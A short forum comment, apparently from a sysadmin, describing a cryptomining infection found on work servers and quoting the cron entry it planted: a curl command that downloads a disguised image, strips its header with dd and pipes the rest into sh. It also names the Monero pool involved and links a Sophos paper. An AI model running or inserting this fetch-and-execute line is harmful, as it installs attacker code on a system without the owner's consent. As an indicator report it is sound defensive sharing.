What a coincidence!
Just today at work we've found malware on some of our servers. That malware added this cron job:
/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh
If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333
See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...